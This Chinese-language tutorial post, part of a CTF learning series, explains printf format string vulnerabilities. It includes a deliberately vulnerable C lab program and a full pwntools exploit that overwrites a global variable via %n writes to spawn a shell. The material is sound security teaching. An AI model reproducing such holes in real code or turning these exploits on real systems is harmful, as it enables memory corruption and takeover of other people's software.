iT邦幫忙

2026 iThome 鐵人賽

DAY 27
0

昨天介紹了透過 GOT 洩漏 libc 位址的方法。今天換一種做法,看看 printf() 的 Format String Vulnerability。

如果有寫過 C 語言,應該對 printf() 不陌生。它最常見的用途就是輸出文字或變數,例如 printf("%s", name)。

不過,如果開發者把程式寫成:

printf(buf);

而 buf 的內容又是使用者可以控制的,就可能產生 Format String Vulnerability。

這個漏洞不需要 Buffer Overflow,也不一定需要 Shellcode。只要能控制 printf() 的 Format String,就有機會讀取 Stack 上的資料,甚至改寫記憶體中的數值。

今天會從 printf() 的運作方式開始,接著用一個簡單的 C 程式觀察漏洞行為,最後透過 Pwntools 建立 Format String Payload。


0x00 Format String 是什麼?

先看一個正常的 printf():

#include <stdio.h>

int main()
{
    char *name = "john";

    printf("Hello %s\n", name);

    return 0;
}

執行結果:

Hello john

這裡的 %s 就是一個 Format Specifier,告訴 printf() 要把後面的參數當成字串輸出。

如果換成整數:

int age = 20;

printf("Age: %d\n", age);

就會得到:

Age: 20

printf() 支援不少 Format Specifier,常見的有:

Specifier 用途
%d 以十進位輸出整數
%x 以十六進位輸出整數
%p 輸出指標數值
%s 輸出指標所指向的字串
%c 輸出字元
%n 將目前已輸出的字元數寫入指定位置

在漏洞利用中,%p、%s、%n 特別值得注意,分別涉及指標洩漏、記憶體讀取與寫入。

正常使用時,這些功能沒有問題。問題出在程式讓使用者控制 Format String,卻沒有提供對應的參數。


0x01 漏洞到底出在哪?

假設今天有一段程式:

#include <stdio.h>

int main()
{
    char buf[128];

    fgets(buf, sizeof(buf), stdin);

    printf("%s", buf);

    return 0;
}

使用者輸入的內容會透過 %s 輸出。

例如輸入:

Hello %p %x

程式就會原樣印出:

Hello %p %x

因為真正的 Format String 是固定的 "%s",使用者輸入的 %p 和 %x 只是普通字元。

但如果改成:

printf(buf);

使用者輸入就會被當成格式字串解析。

當我們輸入:

Hello %p %x

程式實際執行的效果就類似:

printf("Hello %p %x");

printf() 看到 %p 和 %x,就會嘗試取得對應的參數。

問題是我們根本沒有傳入那些參數。

這在 C 語言中屬於 Undefined Behavior,而在特定架構和執行環境下,可能因此把暫存器或 Stack 上的資料輸出。


0x02 printf 從哪裡拿參數?

這裡需要用到前面學過的 Calling Convention。

在 Linux x86-64 的 System V ABI 中,整數與指標類型的前六個參數通常透過以下暫存器傳遞:

1st → RDI
2nd → RSI
3rd → RDX
4th → RCX
5th → R8
6th → R9

如果還有更多參數,就會使用 Stack 傳遞。

例如:

printf("%d %d", 10, 20);

呼叫時大致會是:

RDI → "%d %d"
RSI → 10
RDX → 20

printf() 透過 Format String 判斷需要讀取哪些參數。

但如果呼叫的是:

printf(buf);

程式只傳入一個參數,也就是指向 buf 的指標。

RDI → buf

假設 buf 的內容是:

%p %p %p %p %p %p

printf() 會依照格式字串,繼續嘗試取得原本沒有提供的參數。

在 x86-64 環境中,它可能依序讀到 RSI、RDX、RCX、R8、R9 所對應的參數位置,之後再讀取 Stack 上的引數位置。

這些數值並不是程式刻意傳給 printf() 的,因此內容不固定,也不保證每次都相同。

不過,如果其中剛好有某個有效的記憶體位址,就可能被我們拿來當作 Information Leak。


0x03 第一個 Format String Lab

先建立一個有漏洞的程式。

vim vuln.c

內容如下:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    char buf[128];

    setbuf(stdout, NULL);

    printf("Input: ");

    fgets(buf, sizeof(buf), stdin);

    printf(buf);

    return 0;
}

編譯:

gcc vuln.c -o vuln -no-pie -fno-stack-protector

這裡先關閉 PIE 和 Stack Canary,方便後面觀察程式的記憶體位址。

不過要注意,Format String Vulnerability 本身並不依賴 Stack Canary 是否開啟。Stack Canary 主要用來偵測特定形式的 Stack Corruption,並不能直接阻止 printf(buf) 這種問題。

先執行程式:

./vuln

輸入:

hello

得到:

Input: hello
hello

接著改成:

%p

可能得到類似:

Input: %p
0x7ffff7fa17e2

這個數值只是示意,實際結果會隨執行環境改變。

再試著一次輸入多個 %p:

%p.%p.%p.%p.%p.%p.%p.%p

可能出現:

0x7ffff7fa17e2.0xfbad208b.0x7fffffffe000...

也可能出現 (nil) 或其他數值。

輸出的數值來自 printf() 嘗試讀取的引數位置,接下來可利用 Positional Argument 找出輸入資料對應的 Offset。


0x04 用 %p 觀察 Stack

在 Format String 的利用過程中,通常會先嘗試確認自己控制的輸入資料,能不能被 printf() 當成參數讀到。

例如:

AAAA.%p.%p.%p.%p.%p.%p.%p.%p

這裡的 AAAA 是我們放進去的 Marker。

因為字元 A 的 ASCII 值是:

A = 0x41

所以四個 A 在記憶體中就是:

41 41 41 41

如果 printf() 某次讀取的參數位置剛好包含我們的輸入,就可能看到:

0x41414141

在 64-bit 程式中,一個指標參數通常會佔用 8 bytes,因此也可能看到包含其他輸入字元的數值,例如:

0x70252e41414141

將這個數值以 Little Endian 方式拆開:

41 41 41 41 2e 25 70 00
 A  A  A  A  .  %  p

就能看出其中包含我們輸入的內容。

不過,這不代表 %p 本身會去讀取指標指向的記憶體。它只是把取得的參數數值當成 Pointer 輸出。

如果我們想要進一步讀取某個 Address 的內容,就需要用到後面會介紹的 %s。


0x05 Positional Argument

假設我們想知道第七個參數的內容,如果一直使用:

%p.%p.%p.%p.%p.%p.%p

不太方便。

printf() 支援 Positional Argument,可以直接指定要使用哪一個參數。

例如:

%7$p

代表把第七個格式參數當成 Pointer 輸出。

這裡要注意,Index 是從 Format String 後面的第一個參數開始計算,因此 %1$p 指的是第一個可變參數位置,不是存放 Format String 的 RDI。

我們可以逐一測試:

AAAA.%1$p
AAAA.%2$p
AAAA.%3$p
AAAA.%4$p
AAAA.%5$p
AAAA.%6$p
AAAA.%7$p
AAAA.%8$p

假設某次使用:

AAAA.%7$p

得到:

AAAA.0x2437252e41414141

轉換成 Little Endian:

41 41 41 41 2e 25 37 24
 A  A  A  A  .  %  7  $

就能確認第七個參數位置讀到了我們輸入的前八個 Bytes。

這種情況下,可以把第七個位置當成目前 Payload 的 Format String Offset。

但 Offset 會受到輸入內容、Buffer 位置與程式執行方式影響,不能直接認為所有程式都是 7。

尤其之後要把 Address 放進 Payload 時,還必須考慮 64-bit Address 的長度及 Alignment。

手動找 Offset 是理解漏洞的重要練習。等到基本原理清楚後,就可以使用 Pwntools 幫忙處理。


0x06 %x、%p 和 %s 有什麼不同?

雖然這三個 Format Specifier 都能輸出資料,但讀取方式不同。

%x

%x 會把對應參數當成整數,並以十六進位輸出。

例如:

printf("%x\n", 0x41414141);

結果:

41414141

%p

%p 會把參數當成 Pointer Value 輸出。

void *ptr = (void *)0x41414141;

printf("%p\n", ptr);

在常見的 Linux 環境中,可能得到:

0x41414141

所以在 Recon 階段,我通常會先使用 %p,因為比較容易辨識位址。

%s

%s 會把對應的引數當成字串指標,從該位址持續讀取直到遇到 NULL byte。

例如:

char message[] = "Hello";

printf("%s\n", message);

這裡的 message 不是被當成整數印出,而是被解讀成一個指標。

printf() 會前往該指標所指向的位置讀取內容。

可以用下面這段程式來觀察:

#include <stdio.h>

int main()
{
    char secret[] = "FLAG{TEST}";

    char *ptr = secret;

    printf("Pointer: %p\n", (void *)ptr);
    printf("String: %s\n", ptr);

    return 0;
}

結果類似:

Pointer: 0x7fffffffe210
String: FLAG{TEST}

兩者的差異是:

  • %p:輸出指標的數值。
  • %s:讀取指標所指向的字串內容。

如果在 Format String Vulnerability 中,我們能讓某個參數位置包含指定的 Address,就可能利用 %s 讀取該位置的資料。

這也是 Format String 建立 Arbitrary Read Primitive 的常見方式。

不過,%s 需要的是有效、可讀取的記憶體位址。如果指向未映射或無法存取的區域,程式可能直接發生 Segmentation Fault。

此外,%s 通常會在遇到 \0 時停止,因此不適合直接讀取所有種類的 Binary Data。


0x07 Format String 可以 Leak 什麼?

Format String 常被用來洩漏 Stack、PIE、libc 或 Canary 的相關數值。

實際上能取得哪些資訊,取決於程式當下的記憶體狀態,以及我們能控制多少 Format String Argument。

例如透過 %p 取得:

0x7ffff7e12345

這個數值看起來可能位於 libc 映射的範圍,但不能只憑位址長相就直接認定。

在實際分析時,還需要配合 GDB 的記憶體映射資訊,或確認它對應到哪一個 Function、Return Address 或其他已知位置。

如果確定洩漏的位址位於 libc,而且知道它相對於 libc Base 的 Offset,就可以計算:

libc_base = leaked_addr - known_offset

之後再取得需要的 Symbol:

libc.address = libc_base

system = libc.sym["system"]

binsh = next(libc.search(b"/bin/sh"))

這裡有個容易搞混的地方:不是隨便洩漏一個 libc 位址,就能直接拿來減掉 libc.sym["system"]。

我們必須知道洩漏的是哪個位置,以及該位置相對於 libc Base 的 Offset。

例如洩漏的是某個函式內部的 Return Address,可能還需要額外計算它相對於函式起點的偏移。

這部分其實和昨天的 Information Leak 一樣。

昨天是利用 ROP 呼叫 puts() 讀出 GOT 裡的資料,今天則是利用 Format String 取得可能存在於參數位置的位址。

只要能確認洩漏值的來源,後面的 Base Address 計算方式並沒有太大差別。


0x08 使用 %n 寫入記憶體

除了讀取資訊,%n 還能透過指標寫入目前的輸出字元數,因此可以用來建構 Write Primitive。

先看一個正常的使用方式:

#include <stdio.h>

int main()
{
    int n = 0;

    printf("AAAA%n\n", &n);

    printf("n = %d\n", n);

    return 0;
}

執行結果:

AAAA
n = 4

這裡的 %n 不會輸出任何字元,而是把目前這次 printf() 已經輸出的字元數寫入 n。

因為 %n 前面剛好輸出了四個 A,所以 n 最後變成 4。

如果改成:

printf("AAAAAAAA%n\n", &n);

n 就會變成 8。

也就是說,%n 可以讓我們把輸出字元數寫進某個指標指定的位置。

在正常程式中,這個指標是透過 &n 明確傳入的。

但在 Format String Vulnerability 中,如果我們能控制 %n 對應的參數,並且讓它包含想寫入的 Address,就有機會改寫該位址的內容。

這裡需要兩個條件:

  1. 能控制或利用 %n 對應的 Pointer。
  2. 能控制執行 %n 時累積的輸出字元數。

只要兩個條件都成立,就可以建立可控的 Memory Write。


0x09 %n 家族

實際利用時,通常不會只使用 %n。

原因是 %n 寫入的是目前累積的輸出字元數。如果要寫入一個很大的值,可能需要產生大量輸出,處理起來不方便。

因此還有幾種不同的寫入大小:

Specifier 寫入大小(Linux x86-64)
%hhn 1 byte
%hn 2 bytes
%n 4 bytes
%ln 8 bytes

其中 %hhn 和 %hn 在 Format String Exploitation 中很常用。

假設我們要寫入:

0x1337

如果使用 %hn,可以直接處理一個 2-byte 數值。

如果改用 %hhn,則可以將資料拆成 Byte Write:

0x37
0x13

由於 x86-64 使用 Little Endian,因此較低位元組會先存放在較低的記憶體位址。

例如:

Address       Value
0x404040      0x37
0x404041      0x13

合起來就是:

0x1337

另外,%n 寫入的是累積字元數,而不是直接指定一個立即數。

如果前面已經輸出了 10 個字元,後面想使用 %hhn 寫入 0x37,就需要考慮已經輸出的字元數,以及 1-byte 寫入時的模數運算。

手動計算這些 Padding 有點繁瑣,因此後面會使用 Pwntools 產生 Payload。


0x0A 建立一個可寫入的 Lab

接下來把前面的程式修改一下,新增一個 Global Variable。

#include <stdio.h>
#include <stdlib.h>

int target = 0;

int main()
{
    char buf[256];

    setbuf(stdout, NULL);

    printf("target @ %p\n", (void *)&target);
    printf("Input: ");

    fgets(buf, sizeof(buf), stdin);

    printf(buf);

    printf("\ntarget = 0x%x\n", target);

    if (target == 0x1337)
    {
        printf("You win!\n");
        system("/bin/sh");
    }

    return 0;
}

這次目標是把:

target = 0;

改成:

target = 0x1337;

只要成功,程式就會進入:

if (target == 0x1337)

並執行:

system("/bin/sh");

先編譯:

gcc vuln.c -o vuln -no-pie -fno-stack-protector

然後確認 Protection:

checksec ./vuln

因為編譯時加入了 -no-pie,所以程式本身的載入基底通常是固定的,可以直接透過 ELF Symbol 取得 target 的位址。

例如:

from pwn import *

elf = ELF("./vuln")

print(hex(elf.sym["target"]))

可能得到:

0x40404c

這個位址只是示意,實際結果依編譯環境而定。

目前已經知道要寫入的 Address 和 Value:

Address → target
Value   → 0x1337

剩下的問題就是找出 Format String Offset,並建立能透過 %n 寫入的 Payload。


0x0B Pwntools 幫我們找 Offset

手動處理 Offset、Padding 和分段寫入比較繁瑣,因此這裡使用 Pwntools 的 FmtStr 與 fmtstr_payload()。

先用 FmtStr 自動偵測 Offset。

建立 find_offset.py:

from pwn import *

context.binary = elf = ELF("./vuln")

def execute_fmt(payload):
    p = process(elf.path)

    p.sendlineafter(b"Input: ", payload)

    output = p.recvall()

    p.close()

    return output

autofmt = FmtStr(execute_fmt)

log.success(f"offset = {autofmt.offset}")

執行:

python3 find_offset.py

Pwntools 會送出一些測試用的 Format String Payload,並觀察輸出內容,藉此找出使用者輸入對應的 Format Argument Offset。

假設結果是:

[*] Found format string offset: 6
[+] offset = 6

就表示在目前的測試環境中,Pwntools 找到了第六個參數位置。

不過,這個 Offset 並不是固定值。

如果程式改變了 Buffer 大小、讀取方式或 Stack Layout,結果都可能不同。

也因此,實際 Exploit 應該使用偵測到的 Offset,而不是直接把範例中的 6 複製過去。


0x0C fmtstr_payload()

找到 Offset 後,就可以使用:

fmtstr_payload()

這個函式可以協助產生 Format String Write Payload。

基本使用方式:

payload = fmtstr_payload(
    offset,
    {
        elf.sym["target"]: 0x1337
    }
)

第一個參數是 Format String Offset。

第二個參數是一個 Dictionary,指定要寫入的位址和數值。

例如:

{
    elf.sym["target"]: 0x1337
}

代表希望將 0x1337 寫到 target 的位址。

Pwntools 會根據目標值與寫入策略產生 Payload,其中可能包含:

Padding
Format Specifier
Address

例如 %hn 或 %hhn 需要控制輸出的字元數,Pwntools 就會協助計算適當的 Padding。

我們也可以透過:

write_size="short"

指定使用 2-byte 為單位的寫入策略。

不過要注意,write_size 代表使用的寫入粒度,不代表整個 Payload 最後只修改 2 bytes。實際寫入範圍還與傳入資料的型別和大小有關。

如果想明確指定寫入數值的大小,可以使用:

p16(0x1337)

這樣就會把 0x1337 編碼為 2-byte Little Endian 資料。


0x0D 完整 Exploit

接著把 Offset Discovery 和 Write Payload 結合起來。

from pwn import *

context.binary = elf = ELF("./vuln")
context.log_level = "info"

def execute_fmt(payload):
    p = process(elf.path)

    p.sendlineafter(b"Input: ", payload)

    output = p.recvall()

    p.close()

    return output

# Find Format String Offset
autofmt = FmtStr(execute_fmt)
offset = autofmt.offset

log.info(f"Format String Offset: {offset}")

# Target Address
target = elf.sym["target"]

log.info(f"Target Address: {hex(target)}")

# Build Format String Payload
payload = fmtstr_payload(
    offset,
    {
        target: p16(0x1337)
    },
    write_size="short"
)

# Exploit
p = process(elf.path)

p.sendlineafter(b"Input: ", payload)

p.interactive()

執行:

python3 exploit.py

如果 Offset 和 Payload 都正確,就可能看到:

target = 0x1337
You win!
$

這次利用沒有覆蓋 Saved RIP,也沒有使用 ROP Chain。

我們只是透過:

printf(buf);

讓 Format String 修改原本不應該被使用者控制的 Global Variable。

另外,這個實驗有一個需要注意的地方:程式使用 fgets() 讀取輸入,當 Payload 包含 NULL Byte 時,printf() 會在第一個 NULL Byte 停止解析 Format String。

因此 Pwntools 通常會把需要的 Address 放在格式字串的後面,並處理對齊問題,讓 Address 能被當成參數使用,而不是直接當成 Format String 的一部分解析。

這也是為什麼手動拼接 Format String Payload,會比單純輸入幾個 %p 複雜。


上一篇
Day26|Information Leak
系列文
從零開始の Binary CTF:30 天系統化學習 Rev & Pwn 共 27 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言